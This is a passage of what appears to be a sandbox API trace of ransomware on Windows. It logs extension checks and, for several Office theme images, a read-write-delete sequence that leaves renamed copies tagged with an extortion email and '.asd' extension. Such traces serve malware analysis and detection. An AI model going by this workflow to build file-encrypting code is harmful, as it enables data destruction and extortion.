4 [0053.664] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0053.664] lstrlenW (lpString=".zip") returned 4 [0053.664] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.664] lstrlenW (lpString=".rar") returned 4 [0053.664] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.664] lstrlenW (lpString=".bz2") returned 4 [0053.664] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.664] lstrlenW (lpString=".7z") returned 3 [0053.664] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0053.664] lstrlenW (lpString=".dbf") returned 4 [0053.664] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0053.664] lstrlenW (lpString=".1cd") returned 4 [0053.664] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG") returned 75 [0053.664] lstrlenW (lpString=".jpg") returned 4 [0053.664] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.664] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0053.664] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.665] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=3479) returned 1 [0053.665] CloseHandle (hObject=0x1f4) returned 1 [0053.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0053.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.665] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.665] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0053.668] GetLastError () returned 0x0 [0053.668] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0xd97, lpOverlapped=0x0) returned 1 [0053.669] WriteFile (in: hFile=0x15c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xda0, lpOverlapped=0x0) returned 1 [0053.670] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0053.670] WriteFile (in: hFile=0x15c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.670] SetEndOfFile (hFile=0x15c) returned 1 [0053.670] CloseHandle (hObject=0x15c) returned 1 [0053.671] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.671] SetEndOfFile (hFile=0x1f4) returned 1 [0053.672] CloseHandle (hObject=0x1f4) returned 1 [0053.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.672] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0053.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0053.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0053.672] lstrlenW (lpString=".doc") returned 4 [0053.672] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.672] lstrlenW (lpString=".docx") returned 5 [0053.672] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.672] lstrlenW (lpString=".pdf") returned 4 [0053.672] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.672] lstrlenW (lpString=".xls") returned 4 [0053.672] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.672] lstrlenW (lpString=".xlsx") returned 5 [0053.672] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.672] lstrlenW (lpString=".ppt") returned 4 [0053.673] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0053.673] lstrlenW (lpString=".zip") returned 4 [0053.673] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.673] lstrlenW (lpString=".rar") returned 4 [0053.673] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.673] lstrlenW (lpString=".bz2") returned 4 [0053.673] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.673] lstrlenW (lpString=".7z") returned 3 [0053.673] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0053.673] lstrlenW (lpString=".dbf") returned 4 [0053.673] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0053.673] lstrlenW (lpString=".1cd") returned 4 [0053.673] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0053.673] lstrlenW (lpString=".jpg") returned 4 [0053.673] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0053.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0053.673] lstrlenW (lpString=".doc") returned 4 [0053.673] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.673] lstrlenW (lpString=".docx") returned 5 [0053.673] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.673] lstrlenW (lpString=".pdf") returned 4 [0053.673] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.673] lstrlenW (lpString=".xls") returned 4 [0053.673] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.673] lstrlenW (lpString=".xlsx") returned 5 [0053.673] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.673] lstrlenW (lpString=".ppt") returned 4 [0053.674] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0053.674] lstrlenW (lpString=".zip") returned 4 [0053.674] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.674] lstrlenW (lpString=".rar") returned 4 [0053.674] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.674] lstrlenW (lpString=".bz2") returned 4 [0053.674] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.674] lstrlenW (lpString=".7z") returned 3 [0053.674] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0053.674] lstrlenW (lpString=".dbf") returned 4 [0053.674] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0053.674] lstrlenW (lpString=".1cd") returned 4 [0053.674] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0053.674] lstrlenW (lpString=".jpg") returned 4 [0053.674] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.674] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0053.674] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.675] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=31837) returned 1 [0053.675] CloseHandle (hObject=0x1f4) returned 1 [0053.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0053.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.675] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.675] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0053.675] GetLastError () returned 0x0 [0053.675] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0053.678] WriteFile (in: hFile=0x15c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0053.679] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0053.679] WriteFile (in: hFile=0x15c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.679] SetEndOfFile (hFile=0x15c) returned 1 [0053.679] CloseHandle (hObject=0x15c) returned 1 [0053.680] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.680] SetEndOfFile (hFile=0x1f4) returned 1 [0053.681] CloseHandle (hObject=0x1f4) returned 1 [0053.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0053.681] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0053.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0053.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0053.681] lstrlenW (lpString=".doc") returned 4 [0053.681] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.681] lstrlenW (lpString=".docx") returned 5 [0053.681] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.681] lstrlenW (lpString=".pdf") returned 4 [0053.681] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.681] lstrlenW (lpString=".xls") returned 4 [0053.681] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.681] lstrlenW (lpString=".xlsx") returned 5 [0053.681] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.682] lstrlenW (lpString=".ppt") returned 4 [0053.682] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0053.682] lstrlenW (lpString=".zip") returned 4 [0053.682] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.682] lstrlenW (lpString=".rar") returned 4 [0053.682] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.682] lstrlenW (lpString=".bz2") returned 4 [0053.682] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.682] lstrlenW (lpString=".7z") returned 3 [0053.682] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0053.682] lstrlenW (lpString=".dbf") returned 4 [0053.682] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0053.682] lstrlenW (lpString=".1cd") returned 4 [0053.682] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0053.682] lstrlenW (lpString=".jpg") returned 4 [0053.682] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0053.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0053.682] lstrlenW (lpString=".doc") returned 4 [0053.682] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0053.682] lstrlenW (lpString=".docx") returned 5 [0053.682] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0053.682] lstrlenW (lpString=".pdf") returned 4 [0053.682] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0053.682] lstrlenW (lpString=".xls") returned 4 [0053.682] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0053.682] lstrlenW (lpString=".xlsx") returned 5 [0053.682] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0053.683] lstrlenW (lpString=".ppt") returned 4 [0053.683] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0053.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0053.683] lstrlenW (lpString=".zip") returned 4 [0053.683] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0053.683] lstrlenW (lpString=".rar") returned 4 [0053.683] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0053.683] lstrlenW (lpString=".bz2") returned 4 [0053.683] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0053.683] lstrlenW (lpString=".7z") returned 3 [0053.683] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0053.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0053.683] lstrlenW (lpString=".dbf") returned 4 [0053.683] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0053.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0053.683] lstrlenW (lpString=".1cd") returned 4 [0053.683] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0053.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0053.683] lstrlenW (lpString=".jpg") returned 4 [0053.683] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0053.683] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0053.683] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0053.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.684] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=2722) returned 1 [0053.684] CloseHandle (hObject=0x1f4) returned 1 [0053.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0053.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.684] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.684] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0053.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.028] GetLastError () returned 0x0 [0054.028] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0xaa2, lpOverlapped=0x0) returned 1 [0054.029] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xab0, lpOverlapped=0x0) returned 1 [0054.031] ReadFile (in: hFile=0x1f4, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0054.031] WriteFile (in: hFile=0x20c, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.031] SetEndOfFile (hFile=0x20c) returned 1 [0054.031] CloseHandle (hObject=0x20c) returned 1 [0054.031] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.031] SetEndOfFile (hFile=0x1f4) returned 1 [0054.032] CloseHandle (hObject=0x1f4) returned 1 [0054.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.032] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0054.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0054.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0054.033] lstrlenW (lpString=".doc") returned 4 [0054.033] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.033] lstrlenW (lpString=".docx") returned 5 [0054.033] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.033] lstrlenW (lpString=".pdf") returned 4 [0054.033] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.033] lstrlenW (lpString=".xls") returned 4 [0054.033] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.033] lstrlenW (lpString=".xlsx") returned 5 [0054.033] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.033] lstrlenW (lpString=".ppt") returned 4 [0054.033] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0054.033] lstrlenW (lpString=".zip") returned 4 [0054.033] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.033] lstrlenW (lpString=".rar") returned 4 [0054.033] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.033] lstrlenW (lpString=".bz2") returned 4 [0054.033] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.033] lstrlenW (lpString=".7z") returned 3 [0054.033] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0054.033] lstrlenW (lpString=".dbf") returned 4 [0054.033] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0054.034] lstrlenW (lpString=".1cd") returned 4 [0054.034] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0054.034] lstrlenW (lpString=".jpg") returned 4 [0054.034] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0054.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0054.034] lstrlenW (lpString=".doc") returned 4 [0054.034] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.034] lstrlenW (lpString=".docx") returned 5 [0054.034] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.034] lstrlenW (lpString=".pdf") returned 4 [0054.034] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.034] lstrlenW (lpString=".xls") returned 4 [0054.034] lstrcmpiW 